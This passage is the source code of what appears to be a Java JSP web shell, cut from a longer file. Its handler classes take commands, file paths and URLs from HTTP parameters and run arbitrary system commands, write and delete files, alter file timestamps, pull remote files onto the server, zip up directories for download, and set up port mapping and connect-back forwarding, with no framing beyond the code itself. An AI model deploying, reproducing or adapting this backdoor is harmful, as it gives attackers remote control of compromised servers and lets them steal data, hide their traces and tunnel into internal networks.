1643out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
1644out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1645"</form>"+
1646"</td></tr></table>");
1647
1648} catch (Exception e) {
1649
1650throw e ;
1651}
1652}
1653}
1654private static class CreateFileInvoker extends DefaultInvoker {
1655public boolean doBefore(){return false;}
1656public boolean doAfter(){return false;}
1657public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1658try {
1659PrintWriter out = response.getWriter();
1660String path = request.getParameter("filepath");
1661String content = request.getParameter("filecontent");
1662String charset = request.getParameter("charset");
1663BufferedWriter outs = null;
1664if (charset.equals("ANSI"))
1665outs = new BufferedWriter(new FileWriter(new File(path)));
1666else
1667outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
1668outs.write(content,0,content.length());
1669outs.close();
1670JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
1671response.sendRedirect(SHELL_NAME);
1672} catch (Exception e) {
1673
1674throw e ;
1675}
1676}
1677}
1678private static class VEditPropertyInvoker extends DefaultInvoker {
1679public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1680try {
1681PrintWriter out = response.getWriter();
1682String filepath = request.getParameter("filepath");
1683File f = new File(filepath);
1684if (!f.exists())
1685return;
1686String read = f.canRead() ? "checked=\"checked\"" : "";
1687String write = f.canWrite() ? "checked=\"checked\"" : "";
1688Calendar cal = Calendar.getInstance();
1689cal.setTimeInMillis(f.lastModified());
1690
1691out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1692"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1693"<h2>Set File Property »</h2>"+
1694"<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
1695"<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
1696"<p>"+
1697" <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
1698" <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
1699"</p>"+
1700"<p>Instead »"+
1701"year:"+
1702"<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
1703"month:"+
1704"<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
1705"day:"+
1706"<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
1707""+
1708"hour:"+
1709"<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
1710"minute:"+
1711"<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
1712"second:"+
1713"<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
1714"</p>"+
1715"<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
1716"</form>"+
1717"</td></tr></table>");
1718} catch (Exception e) {
1719throw e ;
1720}
1721}
1722}
1723private static class EditPropertyInvoker extends DefaultInvoker {
1724public boolean doBefore(){return false;}
1725public boolean doAfter(){return false;}
1726public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1727try {
1728String f = request.getParameter("file");
1729File file = new File(f);
1730if (!file.exists())
1731return;
1732
1733String year = request.getParameter("year");
1734String month = request.getParameter("month");
1735String date = request.getParameter("date");
1736String hour = request.getParameter("hour");
1737String minute = request.getParameter("minute");
1738String second = request.getParameter("second");
1739
1740Calendar cal = Calendar.getInstance();
1741cal.set(Calendar.YEAR,Integer.parseInt(year));
1742cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
1743cal.set(Calendar.DATE,Integer.parseInt(date));
1744cal.set(Calendar.HOUR,Integer.parseInt(hour));
1745cal.set(Calendar.MINUTE,Integer.parseInt(minute));
1746cal.set(Calendar.SECOND,Integer.parseInt(second));
1747if(file.setLastModified(cal.getTimeInMillis())){
1748JSession.setAttribute(MSG,"Reset File Property Success!");
1749} else {
1750JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
1751}
1752response.sendRedirect(SHELL_NAME);
1753} catch (Exception e) {
1754
1755throw e ;
1756}
1757}
1758}
1759//VShell
1760private static class VsInvoker extends DefaultInvoker{
1761public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1762try {
1763PrintWriter out = response.getWriter();
1764String cmd = request.getParameter("command");
1765String program = request.getParameter("program");
1766if (cmd == null) {
1767if (ISLINUX)
1768cmd = "id";
1769else
1770cmd = "cmd.exe /c set";
1771}
1772if (program == null)
1773program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
1774if (JSession.getAttribute(MSG)!=null) {
1775Util.outMsg(out,JSession.getAttribute(MSG).toString());
1776JSession.removeAttribute(MSG);
1777}
1778out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1779"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1780"<h2>Execute Program »</h2>"+
1781"<p>"+
1782"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1783"<input type=\"hidden\" name=\"type\" value=\"program\">"+
1784"Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
1785"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1786"</p>"+
1787"</form>"+
1788"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1789"<h2>Execute Shell »</h2>"+
1790"<p>"+
1791"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1792"<input type=\"hidden\" name=\"type\" value=\"command\">"+
1793"Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
1794"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1795"</p>"+
1796"</form>"+
1797"</td>"+
1798"</tr></table>");
1799} catch (Exception e) {
1800
1801throw e ;
1802}
1803}
1804}
1805private static class ShellInvoker extends DefaultInvoker{
1806public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1807try {
1808PrintWriter out = response.getWriter();
1809String type = request.getParameter("type");
1810if (type.equals("command")) {
1811((Invoker)ins.get("vs")).invoke(request,response,JSession);
1812out.println("<div style='margin:10px'><hr/>");
1813out.println("<pre>");
1814String command = request.getParameter("command");
1815if (!Util.isEmpty(command)) {
1816Process pro = Runtime.getRuntime().exec(command);
1817BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1818String s = reader.readLine();
1819while (s != null) {
1820out.println(Util.htmlEncode(Util.getStr(s)));
1821s = reader.readLine();
1822}
1823reader.close();
1824reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
1825s = reader.readLine();
1826while (s != null) {
1827out.println(Util.htmlEncode(Util.getStr(s)));
1828s = reader.readLine();
1829}
1830reader.close();
1831out.println("</pre></div>");
1832}
1833} else {
1834String program = request.getParameter("program");
1835if (!Util.isEmpty(program)) {
1836Process pro = Runtime.getRuntime().exec(program);
1837JSession.setAttribute(MSG,"Program Has Run Success!");
1838((Invoker)ins.get("vs")).invoke(request,response,JSession);
1839}
1840}
1841} catch (Exception e) {
1842
1843throw e ;
1844}
1845}
1846}
1847private static class DownInvoker extends DefaultInvoker{
1848public boolean doBefore(){return false;}
1849public boolean doAfter(){return false;}
1850public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1851try {
1852String path = request.getParameter("path");
1853if (Util.isEmpty(path))
1854return;
1855InputStream i = null;
1856Object enter = JSession.getAttribute(ENTER);
1857String fileName = null;
1858if (enter == null) {
1859File f = new File(path);
1860if (!f.exists())
1861return;
1862fileName = f.getName();
1863i = new FileInputStream(f);
1864} else {
1865ZipFile zf = new ZipFile((String)enter);
1866ZipEntry entry = new ZipEntry(path);
1867fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
1868i = zf.getInputStream(entry);
1869}
1870response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
1871BufferedInputStream input = new BufferedInputStream(i);
1872BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
1873byte[] data = new byte[1024];
1874int len = input.read(data);
1875while (len != -1) {
1876output.write(data,0,len);
1877len = input.read(data);
1878}
1879input.close();
1880output.close();
1881} catch (Exception e) {
1882
1883throw e ;
1884}
1885}
1886}
1887//VDown
1888private static class VdInvoker extends DefaultInvoker {
1889public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1890try {
1891PrintWriter out = response.getWriter();
1892String savepath = request.getParameter("savepath");
1893String url = request.getParameter("url");
1894if (Util.isEmpty(url))
1895url = "http://www.forjj.com/";
1896if (Util.isEmpty(savepath)) {
1897savepath = JSession.getAttribute(CURRENT_DIR).toString();
1898}
1899if (!Util.isEmpty(JSession.getAttribute("done"))) {
1900Util.outMsg(out,"Download Remote File Success!");
1901JSession.removeAttribute("done");
1902}
1903out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1904"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1905"<h2>Remote File DownLoad »</h2>"+
1906"<p>"+
1907"<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
1908"<p>File URL: "+
1909" <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
1910"<p>Save Path: "+
1911"<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
1912"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
1913"</p>"+
1914"</form></table>");
1915} catch (Exception e) {
1916
1917throw e ;
1918}
1919}
1920}
1921private static class DownRemoteInvoker extends DefaultInvoker {
1922public boolean doBefore(){return true;}
1923public boolean doAfter(){return true;}
1924public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1925try {
1926String downFileUrl = request.getParameter("url");
1927String savePath = request.getParameter("savepath");
1928if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
1929return;
1930URL downUrl = new URL(downFileUrl);
1931URLConnection conn = downUrl.openConnection();
1932
1933File tempF = new File(savePath);
1934File saveF = tempF;
1935if (tempF.isDirectory()) {
1936String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
1937saveF = new File(tempF,fName);
1938}
1939BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
1940BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
1941byte[] data = new byte[1024];
1942int len = in.read(data);
1943while (len != -1) {
1944out.write(data,0,len);
1945len = in.read(data);
1946}
1947in.close();
1948out.close();
1949JSession.setAttribute("done","d");
1950((Invoker)ins.get("vd")).invoke(request,response,JSession);
1951} catch (Exception e) {
1952
1953throw e ;
1954}
1955}
1956}
1957private static class IndexInvoker extends DefaultInvoker {
1958public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1959try {
1960((Invoker)ins.get("filelist")).invoke(request,response,JSession);
1961} catch (Exception e) {
1962
1963throw e ;
1964}
1965}
1966}
1967private static class MkDirInvoker extends DefaultInvoker {
1968public boolean doBefore(){return false;}
1969public boolean doAfter(){return false;}
1970public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1971try {
1972String name = request.getParameter("name");
1973File f = new File(name);
1974if (!f.isAbsolute()) {
1975String path = JSession.getAttribute(CURRENT_DIR).toString();
1976if (!path.endsWith("/"))
1977path += "/";
1978path += name;
1979f = new File(path);
1980}
1981f.mkdirs();
1982JSession.setAttribute(MSG,"Make Directory Success!");
1983response.sendRedirect(SHELL_NAME);
1984} catch (Exception e) {
1985
1986throw e ;
1987}
1988}
1989}
1990private static class MoveInvoker extends DefaultInvoker {
1991public boolean doBefore(){return false;}
1992public boolean doAfter(){return false;}
1993public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1994try {
1995PrintWriter out = response.getWriter();
1996String src = request.getParameter("src");
1997String target = request.getParameter("to");
1998if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
1999File file = new File(src);
2000if(file.renameTo(new File(target))) {
2001JSession.setAttribute(MSG,"Move File Success!");
2002} else {
2003String msg = "Move File Failed!";
2004if (file.isDirectory()) {
2005msg += "The Move Will Failed When The Directory Is Not Empty.";
2006}
2007JSession.setAttribute(MSG,msg);
2008}
2009response.sendRedirect(SHELL_NAME);
2010}
2011} catch (Exception e) {
2012
2013throw e ;
2014}
2015}
2016}
2017private static class RemoveDirInvoker extends DefaultInvoker {
2018public boolean doBefore(){return false;}
2019public boolean doAfter(){return false;}
2020public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2021try {
2022String dir = request.getParameter("dir");
2023File file = new File(dir);
2024if (file.exists()) {
2025deleteFile(file);
2026deleteDir(file);
2027}
2028
2029JSession.setAttribute(MSG,"Remove Directory Success!");
2030response.sendRedirect(SHELL_NAME);
2031} catch (Exception e) {
2032
2033throw e ;
2034}
2035}
2036public void deleteFile(File f) {
2037if (f.isFile()) {
2038f.delete();
2039}else {
2040File[] list = f.listFiles();
2041for (int i = 0;i<list.length;i++) {
2042 File ff=list[i];
2043deleteFile(ff);
2044}
2045}
2046}
2047public void deleteDir(File f) {
2048File[] list = f.listFiles();
2049if (list.length == 0) {
2050f.delete();
2051} else {
2052for (int i = 0;i<list.length;i++) {
2053 File ff=list[i];
2054deleteDir(ff);
2055}
2056deleteDir(f);
2057}
2058}
2059}
2060private static class PackBatchInvoker extends DefaultInvoker{
2061public boolean doBefore(){return false;}
2062public boolean doAfter(){return false;}
2063public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2064try {
2065String files = request.getParameter("files");
2066if (Util.isEmpty(files))
2067return;
2068String saveFileName = request.getParameter("savefilename");
2069File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2070if (saveF.exists()) {
2071JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2072response.sendRedirect(SHELL_NAME);
2073return;
2074}
2075ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2076String[] arr = files.split(",");
2077for (int i = 0;i<arr.length;i++) {
2078 String f=arr[i];
2079File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
2080ZipEntry entry = new ZipEntry(pF.getName());
2081zout.putNextEntry(entry);
2082FileInputStream fInput = new FileInputStream(pF);
2083int len = 0;
2084byte[] buf = new byte[1024];
2085while ((len = fInput.read(buf)) != -1) {
2086zout.write(buf, 0, len);
2087zout.flush();
2088}
2089fInput.close();
2090}
2091zout.close();
2092JSession.setAttribute(MSG,"Pack Files Success!");
2093response.sendRedirect(SHELL_NAME);
2094} catch (Exception e) {
2095
2096throw e;
2097}
2098}
2099}
2100private static class VPackConfigInvoker extends DefaultInvoker{
2101public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2102try {
2103PrintWriter out = response.getWriter();
2104String packfile = request.getParameter("packedfile");
2105String currentd = JSession.getAttribute(CURRENT_DIR).toString();
2106out.println("<form action='"+SHELL_NAME+"' method='post'>"+
2107"<input type='hidden' name='o' value='pack'/>"+
2108"<input type='hidden' name='config' value='true'/>"+
2109"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2110" <tr>"+
2111" <td><h2 id=\"Bin_H2_Title\">Pack Configuration >><hr/></h2>"+
2112" <div id=\"hOWTm\">"+
2113" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2114" <tr align=\"center\">"+
2115" <td style=\"width:5%\"></td>"+
2116" <td align=\"center\"><table border=\"0\">"+
2117" <tr>"+
2118" <td>Packed Dir</td>"+
2119" <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
2120" </tr>"+
2121" <tr>"+
2122" <td>Save To</td>"+
2123" <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
2124" </tr>"+
2125" <tr>"+
2126" <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
2127" <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
2128" <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
2129" </fieldset></td>"+
2130" </tr>"+
2131" <tr>"+
2132" <td>Filesize Filter</td>"+
2133" <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
2134" <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
2135" </tr>"+
2136" <tr>"+
2137" <td>Exclude Dir</td>"+
2138" <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
2139" </tr>"+
2140" </table></td>"+
2141" </tr>"+
2142" <tr align=\"center\">"+
2143" <td colspan=\"2\">"+
2144" <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
2145" </td>"+
2146" </tr>"+
2147" </table>"+
2148" </div></td>"+
2149" </tr>"+
2150" </table></form>"
2151);
2152} catch (Exception e) {
2153
2154throw e;
2155}
2156}
2157}
2158private static class PackInvoker extends DefaultInvoker {
2159public boolean doBefore(){return false;}
2160public boolean doAfter(){return false;}
2161private boolean config = false;
2162private String extFilter = "blacklist";
2163private String[] fileExts = null;
2164private String sizeFilter = "no";
2165private int filesize = 0;
2166private String[] exclude = null;
2167private String packFile = null;
2168private void reset(){
2169this.config = false;
2170this.extFilter = "blacklist";
2171this.fileExts = null;
2172this.sizeFilter = "no";
2173this.filesize = 0;
2174this.exclude = null;
2175this.packFile = null;
2176}
2177public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2178try {
2179String config = request.getParameter("config");
2180if (!Util.isEmpty(config) && config.equals("true")) {
2181this.config = true;
2182this.extFilter = request.getParameter("extfilter");
2183this.fileExts = request.getParameter("fileext").split(",");
2184this.sizeFilter = request.getParameter("sizefilter");
2185this.filesize = Integer.parseInt(request.getParameter("filesize"));
2186this.exclude = request.getParameter("exclude").split(",");
2187}
2188String packedFile = request.getParameter("packedfile");
2189if (Util.isEmpty(packedFile))
2190return;
2191this.packFile = packedFile;
2192String saveFileName = request.getParameter("savefilename");
2193File saveF = null;
2194if (this.config)
2195saveF = new File(saveFileName);
2196else
2197saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2198if (saveF.exists()) {
2199JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2200response.sendRedirect(SHELL_NAME);
2201return;
2202}
2203File pF = new File(packedFile);
2204ZipOutputStream zout = null;
2205String base = "";
2206if (pF.isDirectory()) {
2207if (pF.listFiles().length == 0) {
2208JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
2209response.sendRedirect(SHELL_NAME);
2210this.reset();
2211return;
2212}
2213zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2214zipDir(pF,base,zout);
2215} else {
2216zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2217zipFile(pF,base,zout);
2218}
2219zout.close();
2220this.reset();
2221JSession.setAttribute(MSG,"Pack File Success!");
2222response.sendRedirect(SHELL_NAME);
2223} catch (Exception e) {
2224throw e;
2225}
2226}
2227public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
2228if (f.isDirectory()) {
2229if (this.config) {
2230String curName = f.getAbsolutePath().replace('\\','/');
2231curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
2232if (this.exclude != null) {
2233for (int i = 0;i<exclude.length;i++) {
2234if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
2235return;
2236}
2237}
2238}
2239}
2240File[] arr = f.listFiles();
2241for (int i = 0;i<arr.length;i++) {
2242 File ff=arr[i];
2243String tmpBase = base;
2244if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
2245tmpBase += "/";
2246zipDir(ff,tmpBase+f.getName(),zout);
2247}
2248} else {
2249String tmpBase = base;
2250if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
2251tmpBase += "/";
2252zipFile(f,tmpBase,zout);
2253}
2254
2255}
2256public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
2257if (this.config) {
2258String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
2259if (this.extFilter.equals("blacklist")) {
2260if (Util.exists(this.fileExts,ext)) {
2261return;
2262}
2263} else if (this.extFilter.equals("whitelist")) {
2264if (!Util.exists(this.fileExts,ext)) {
2265return;
2266}
2267}
2268if (!this.sizeFilter.equals("no")) {
2269double size = f.length() / 1024;
2270if (this.sizeFilter.equals("greaterthan")) {
2271if (size < filesize)
2272return;
2273} else if (this.sizeFilter.equals("lessthan")) {
2274if (size > filesize)
2275return;
2276}
2277}
2278}
2279ZipEntry entry = new ZipEntry(base+f.getName());
2280zout.putNextEntry(entry);
2281FileInputStream fInput = new FileInputStream(f);
2282int len = 0;
2283byte[] buf = new byte[1024];
2284while ((len = fInput.read(buf)) != -1) {
2285zout.write(buf, 0, len);
2286zout.flush();
2287}
2288fInput.close();
2289}
2290}
2291private static class UnPackInvoker extends DefaultInvoker {
2292public boolean doBefore(){return false;}
2293public boolean doAfter(){return false;}
2294public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2295try {
2296String savepath = request.getParameter("savepath");
2297String zipfile = request.getParameter("zipfile");
2298if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
2299return;
2300File save = new File(savepath);
2301save.mkdirs();
2302ZipFile file = new ZipFile(new File(zipfile));
2303Enumeration e = file.entries();
2304while (e.hasMoreElements()) {
2305ZipEntry en = (ZipEntry) e.nextElement();
2306String entryPath = en.getName();
2307int index = entryPath.lastIndexOf("/");
2308if (index != -1)
2309entryPath = entryPath.substring(0,index);
2310File absEntryFile = new File(save,entryPath);
2311if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
2312absEntryFile.mkdirs();
2313BufferedOutputStream output = null;
2314BufferedInputStream input = null;
2315try {
2316output = new BufferedOutputStream(
2317new FileOutputStream(new File(save,en.getName())));
2318input = new BufferedInputStream(
2319file.getInputStream(en));
2320byte[] b = new byte[1024];
2321int len = input.read(b);
2322while (len != -1) {
2323output.write(b, 0, len);
2324len = input.read(b);
2325}
2326} catch (Exception ex) {
2327} finally {
2328try {
2329if (output != null)
2330output.close();
2331if (input != null)
2332input.close();
2333} catch (Exception ex1) {
2334}
2335}
2336}
2337file.close();
2338JSession.setAttribute(MSG,"UnPack File Success!");
2339response.sendRedirect(SHELL_NAME);
2340} catch (Exception e) {
2341
2342throw e ;
2343}
2344}
2345}
2346//VMapPort
2347private static class VmpInvoker extends DefaultInvoker {
2348public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2349try {
2350PrintWriter out = response.getWriter();
2351Object localIP = JSession.getAttribute("localIP");
2352Object localPort = JSession.getAttribute("localPort");
2353Object remoteIP = JSession.getAttribute("remoteIP");
2354Object remotePort = JSession.getAttribute("remotePort");
2355Object done = JSession.getAttribute("done");
2356
2357JSession.removeAttribute("localIP");
2358JSession.removeAttribute("localPort");
2359JSession.removeAttribute("remoteIP");
2360JSession.removeAttribute("remotePort");
2361JSession.removeAttribute("done");
2362
2363if (Util.isEmpty(localIP))
2364localIP = InetAddress.getLocalHost().getHostAddress();
2365if (Util.isEmpty(localPort))
2366localPort = "3389";
2367if (Util.isEmpty(remoteIP))
2368remoteIP = "www.forjj.com";
2369if (Util.isEmpty(remotePort))
2370remotePort = "80";
2371if (!Util.isEmpty(done))
2372Util.outMsg(out,done.toString());
2373
2374out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2375"<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
2376" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2377" <tr>"+
2378" <td><h2 id=\"Bin_H2_Title\">PortMap >><hr/></h2>"+
2379" <div id=\"hOWTm\">"+
2380" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2381" <tr align=\"center\">"+
2382" <td style=\"width:5%\"></td>"+
2383" <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
2384" <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
2385" </td>"+
2386" <td style=\"width:20%\" align=\"left\">Local Port :"+
2387" <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
2388" <td style=\"width:20%\" align=\"left\">Remote Ip :"+
2389" <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
2390" <td style=\"width:20%\" align=\"left\">Remote Port :"+
2391" <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
2392" </tr>"+
2393" <tr align=\"center\">"+
2394" <td colspan=\"5\"><br/>"+
2395" <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
2396" <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
2397" </td>"+
2398" </tr>"+
2399" </table>"+
2400" </div>"+
2401"</td>"+
2402"</tr>"+
2403"</table>"+
2404"</form>");
2405String targetIP = request.getParameter("targetIP");
2406String targetPort = request.getParameter("targetPort");
2407String yourIP = request.getParameter("yourIP");
2408String yourPort = request.getParameter("yourPort");
2409if (Util.isEmpty(targetIP))
2410targetIP = "127.0.0.1";
2411if (Util.isEmpty(targetPort))
2412targetPort = "3389";
2413if (Util.isEmpty(yourIP))
2414yourIP = request.getRemoteAddr();
2415if (Util.isEmpty(yourPort))
2416yourPort = "53";
2417out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2418"<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
2419" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2420" <tr>"+
2421" <td><h2 id=\"Bin_H2_Title\">Port Back >><hr/></h2>"+
2422" <div id=\"hOWTm\">"+
2423" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2424" <tr align=\"center\">"+
2425" <td style=\"width:5%\"></td>"+
2426" <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
2427" <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
2428" </td>"+
2429" <td style=\"width:20%\" align=\"left\">Target Port :"+
2430" <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
2431" <td style=\"width:20%\" align=\"left\">Your Ip :"+
2432" <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
2433" <td style=\"width:20%\" align=\"left\">Your Port :"+
2434" <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
2435" </tr>"+
2436" <tr align=\"center\">"+
2437" <td colspan=\"5\"><br/>"+
2438" <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
2439" </td>"+
2440" </tr>"+
2441" </table>"+
2442" </div>"+
2443"</td>"+
2444"</tr>"+
2445"</table>"+
2446"</form>");
2447} catch (Exception e) {
2448
2449throw e ;
2450}
2451}
2452}
2453//StopMapPort
2454private static class SmpInvoker extends DefaultInvoker {
2455public boolean doAfter(){return true;}
2456public boolean doBefore(){return true;}
2457public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2458try {
2459Object obj = JSession.getAttribute(PORT_MAP);
2460if (obj != null) {
2461ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
2462server.close();
2463}
2464JSession.setAttribute("done","Stop Success!");
2465((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2466} catch (Exception e) {
2467
2468throw e ;
2469}
2470}
2471}
2472//PortBack
2473private static class PortBackInvoker extends DefaultInvoker {
